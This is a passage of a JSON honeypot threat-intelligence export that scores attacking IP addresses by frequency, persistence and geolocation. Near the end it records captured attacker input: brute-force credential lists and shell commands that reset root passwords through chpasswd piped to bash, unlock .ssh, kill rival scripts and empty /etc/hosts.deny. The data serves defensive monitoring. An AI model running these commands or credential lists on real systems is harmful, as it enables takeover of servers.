        "Suricata": 5,
        "Cowrie": 2
      }
    },
    "116.62.161.174": {
      "attack_count": 2,
      "first_seen": "2026-03-31T17:05:19.319Z",
      "last_seen": "2026-03-31T17:05:19.631Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T16:26:44.340000+00:00",
        "last_seen_30d": "2026-03-31T17:06:25.491000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 2
      }
    },
    "148.204.109.139": {
      "attack_count": 2,
      "first_seen": "2026-03-04T10:05:43.922Z",
      "last_seen": "2026-03-04T10:05:57.226Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Azcapotzalco",
      "asn": 3484,
      "as_org": "Instituto Politecnico Nacional",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T10:05:43.922000+00:00",
        "last_seen_30d": "2026-03-04T10:06:58.528000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "170.78.196.205": {
      "attack_count": 2,
      "first_seen": "2026-03-02T04:19:31.715Z",
      "last_seen": "2026-03-02T04:19:38.036Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Lapa",
      "asn": 266305,
      "as_org": "CLICK SBS LTDA ME",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T04:19:31.715000+00:00",
        "last_seen_30d": "2026-03-02T04:20:39.732000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "177.125.169.218": {
      "attack_count": 2,
      "first_seen": "2026-03-06T14:00:20.635Z",
      "last_seen": "2026-03-06T14:00:33.691Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 52613,
      "as_org": "GIGA MAIS FIBRA TELECOMUNICACOES S.A.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T14:00:20.635000+00:00",
        "last_seen_30d": "2026-03-06T14:01:38.951000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "178.49.109.109": {
      "attack_count": 2,
      "first_seen": "2026-03-08T07:56:29.795Z",
      "last_seen": "2026-03-08T07:58:29.798Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Novosibirsk",
      "asn": 31200,
      "as_org": "Novotelecom Ltd",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T07:56:29.795000+00:00",
        "last_seen_30d": "2026-03-08T08:08:32.960000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "182.48.80.69": {
      "attack_count": 2,
      "first_seen": "2026-03-25T15:29:10.501Z",
      "last_seen": "2026-03-25T15:29:10.644Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Dhaka",
      "asn": 63969,
      "as_org": "Race Online Limited",
      "threat_score": 65.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.3,
        "persistence": 15.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 54,
        "days_active_30d": 19,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-12T18:18:23.969000+00:00",
        "last_seen_30d": "2026-03-30T04:52:30.452000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 38,
        "Honeytrap": 14,
        "Cowrie": 2
      }
    },
    "195.184.76.230": {
      "attack_count": 2,
      "first_seen": "2026-03-04T12:33:11.355Z",
      "last_seen": "2026-03-04T12:33:11.525Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 76.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.1,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 28,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T12:33:11.355000+00:00",
        "last_seen_30d": "2026-03-31T12:02:17.969000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 40,
        "Honeytrap": 22,
        "Cowrie": 2
      }
    },
    "195.98.81.12": {
      "attack_count": 2,
      "first_seen": "2026-03-24T03:21:11.065Z",
      "last_seen": "2026-03-24T03:21:24.958Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 6856,
      "as_org": "AO IK Informsvyaz-Chernozemye",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T03:21:11.065000+00:00",
        "last_seen_30d": "2026-03-24T03:22:29.583000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "20.201.33.30": {
      "attack_count": 2,
      "first_seen": "2026-03-15T19:27:42.913Z",
      "last_seen": "2026-03-15T19:28:14.193Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Campinas",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T19:27:42.913000+00:00",
        "last_seen_30d": "2026-03-15T19:29:21.054000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "207.154.204.127": {
      "attack_count": 2,
      "first_seen": "2026-03-18T21:14:06.073Z",
      "last_seen": "2026-03-18T21:14:06.358Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T21:14:06.073000+00:00",
        "last_seen_30d": "2026-03-18T21:15:16.575000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "219.244.42.37": {
      "attack_count": 2,
      "first_seen": "2026-03-19T04:04:49.239Z",
      "last_seen": "2026-03-19T04:05:03.186Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4538,
      "as_org": "China Education and Research Network Center",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T04:04:49.239000+00:00",
        "last_seen_30d": "2026-03-19T04:06:07.209000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "223.185.55.52": {
      "attack_count": 2,
      "first_seen": "2026-03-31T13:42:15.529Z",
      "last_seen": "2026-03-31T13:42:27.854Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Ranchi",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T13:42:15.529000+00:00",
        "last_seen_30d": "2026-03-31T13:43:31.167000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "223.75.149.109": {
      "attack_count": 2,
      "first_seen": "2026-03-12T07:28:30.246Z",
      "last_seen": "2026-03-12T07:28:43.518Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T07:28:30.246000+00:00",
        "last_seen_30d": "2026-03-12T07:29:53.619000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.137.233.190": {
      "attack_count": 2,
      "first_seen": "2026-03-07T15:46:29.421Z",
      "last_seen": "2026-03-07T15:46:42.077Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Koshigaya",
      "asn": 9824,
      "as_org": "JCOM Co., Ltd.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T15:46:29.421000+00:00",
        "last_seen_30d": "2026-03-07T15:47:47.401000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "31.117.51.220": {
      "attack_count": 2,
      "first_seen": "2026-03-23T16:21:45.484Z",
      "last_seen": "2026-03-23T16:22:18.332Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Chatham",
      "asn": 2856,
      "as_org": "British Telecommunications PLC",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T16:21:45.484000+00:00",
        "last_seen_30d": "2026-03-23T16:23:25.259000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "45.205.1.110": {
      "attack_count": 2,
      "first_seen": "2026-03-18T08:42:26.106Z",
      "last_seen": "2026-03-18T08:42:26.107Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 215925,
      "as_org": "Vpsvault.host Ltd",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 19126,
        "days_active_30d": 30,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T00:00:50+00:00",
        "last_seen_30d": "2026-03-31T23:37:22.139000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10188,
        "Honeytrap": 8870,
        "Redishoneypot": 45,
        "Adbhoney": 18,
        "Honeyaml": 3,
        "Cowrie": 2
      }
    },
    "5.26.146.20": {
      "attack_count": 2,
      "first_seen": "2026-03-20T20:04:41.646Z",
      "last_seen": "2026-03-20T20:04:54.365Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Istanbul",
      "asn": 16135,
      "as_org": "Turkcell Iletisim Hizmetleri A.s.",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T20:04:41.646000+00:00",
        "last_seen_30d": "2026-03-20T20:05:58.470000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "78.168.123.220": {
      "attack_count": 2,
      "first_seen": "2026-03-27T18:21:02.745Z",
      "last_seen": "2026-03-27T18:21:16.003Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "U\u015fak",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T18:21:02.745000+00:00",
        "last_seen_30d": "2026-03-27T18:22:24.884000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "82.117.121.166": {
      "attack_count": 2,
      "first_seen": "2026-03-27T04:20:09.894Z",
      "last_seen": "2026-03-27T04:20:41.113Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Halmstad",
      "asn": 29518,
      "as_org": "Bredband2 AB",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T04:20:09.894000+00:00",
        "last_seen_30d": "2026-03-27T04:21:43.357000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "92.118.39.76": {
      "attack_count": 1408,
      "first_seen": "2026-03-02T12:23:40.750Z",
      "last_seen": "2026-03-31T18:50:13.367Z",
      "sessions": 287,
      "ports": [],
      "usernames_attempted": [
        "sol",
        "solana",
        "solv",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "sol",
        "solana",
        "solv",
        "ubuntu"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 67.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 2161,
        "days_active_30d": 30,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T12:16:24.531000+00:00",
        "last_seen_30d": "2026-03-31T18:51:17.633000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1408,
        "Suricata": 753
      }
    },
    "45.64.74.51": {
      "attack_count": 893,
      "first_seen": "2026-03-02T00:01:06.955Z",
      "last_seen": "2026-03-26T18:46:32.804Z",
      "sessions": 71,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "cristi",
        "huang",
        "ll",
        "mata",
        "n8n",
        "ts3server",
        "user",
        "x",
        "adm",
        "ali",
        "amir",
        "astra",
        "awsuser",
        "bai",
        "bbb",
        "be",
        "beehive",
        "berlin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "password",
        "123456",
        "12345678",
        "1234",
        "12345",
        "123qqq...",
        "123qweQWE!",
        "1qaz321x",
        "Abcd1234..",
        "Amir123!",
        "Lg123",
        "Password@",
        "Webuser123",
        "ali",
        "astra123",
        "awsuser123",
        "bai"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345\\nP90EXANrFo4m\\nP90EXANrFo4m\\n\"|passwd",
        "echo \"123\\nKcgoQoWOgdpq\\nKcgoQoWOgdpq\\n\"|passwd",
        "echo \"123\\ngqodEF0wlw57\\ngqodEF0wlw57\\n\"|passwd",
        "echo \"123\\ngyWVfLVVSuDd\\ngyWVfLVVSuDd\\n\"|passwd",
        "echo \"mata\\nox69OP8XLAob\\nox69OP8XLAob\\n\"|passwd",
        "echo \"n8n\\n5azLXRvy9AFk\\n5azLXRvy9AFk\\n\"|passwd",
        "echo \"password\\nVwk9A7kf6M8U\\nVwk9A7kf6M8U\\n\"|passwd",
        "echo \"root:oA2vtmjlgwYg\"|chpasswd|bash",
        "echo \"user123456\\nSdDP2siu77zD\\nSdDP2siu77zD\\n\"|passwd",
        "echo -e \"12345\\nP90EXANrFo4m\\nP90EXANrFo4m\"|passwd|bash",
        "echo -e \"123\\nKcgoQoWOgdpq\\nKcgoQoWOgdpq\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 55933,
      "as_org": "Cloudie Limited",
      "threat_score": 52.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 1057,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:00:02.008000+00:00",
        "last_seen_30d": "2026-03-26T18:47:36.154000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 893,
        "Suricata": 164
      }
    },
    "79.104.0.82": {
      "attack_count": 873,
      "first_seen": "2026-03-03T23:11:52.709Z",
      "last_seen": "2026-03-31T11:57:43.554Z",
      "sessions": 69,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "marco",
        "mk",
        "tunnel",
        "yocto",
        "bkp",
        "dell",
        "excel",
        "promo",
        "socks",
        "user",
        "wiki"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "!qazxsw2#edc",
        "1001",
        "12345",
        "1234567A",
        "12QWASZX",
        "1qaz!QAZ",
        "1qaz@WSX#edc",
        "585858",
        "88889999",
        "987654abc",
        "A123123S",
        "A12345661",
        "A1234567AA",
        "AA#2024",
        "ABC!@#123",
        "Admin123456.",
        "Bingo@1993"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1234\\naLMZ1HvZq0k8\\naLMZ1HvZq0k8\\n\"|passwd",
        "echo \"ABC!@#123\\njK7HFBarGsEX\\njK7HFBarGsEX\\n\"|passwd",
        "echo \"Ubuntu@123\\nySIbw6QhuKJ8\\nySIbw6QhuKJ8\\n\"|passwd",
        "echo \"Yocto123!\\nvlJ3uYek1IqM\\nvlJ3uYek1IqM\\n\"|passwd",
        "echo \"marco1234\\n6nBD6SQtJL5Y\\n6nBD6SQtJL5Y\\n\"|passwd",
        "echo \"root:GsVuvBbZAAtW\"|chpasswd|bash",
        "echo \"root:HlbL2tUoJrQw\"|chpasswd|bash",
        "echo \"root:kKtqK39ahuiK\"|chpasswd|bash",
        "echo \"tunnel1234\\nVaMbp2jvwOHb\\nVaMbp2jvwOHb\\n\"|passwd",
        "echo -e \"1234\\naLMZ1HvZq0k8\\naLMZ1HvZq0k8\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 3216,
      "as_org": "PVimpelCom",
      "threat_score": 66.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1037,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T23:11:52.709000+00:00",
        "last_seen_30d": "2026-03-31T11:58:52.841000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 873,
        "Suricata": 164
      }
    },
    "210.90.155.178": {
      "attack_count": 706,
      "first_seen": "2026-03-05T09:40:58.750Z",
      "last_seen": "2026-03-13T12:50:19.864Z",
      "sessions": 59,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "claude",
        "hu",
        "admin",
        "bhavesh",
        "ftpuser2",
        "adminer",
        "amine",
        "amp",
        "appserver",
        "bot",
        "comunicacao",
        "deployer",
        "ftp_test",
        "joshua",
        "live",
        "maarch",
        "n8n"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345678",
        "!@QW12qw",
        "12345",
        "123456",
        "@qwer2024",
        "@qwer2025",
        "A123456789012",
        "A12345688",
        "A123456O",
        "AA123456@",
        "AA@2025",
        "Amp123",
        "Ds123456",
        "Ftp_test123!",
        "Hu123!",
        "P@ssword12",
        "Qwerty123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
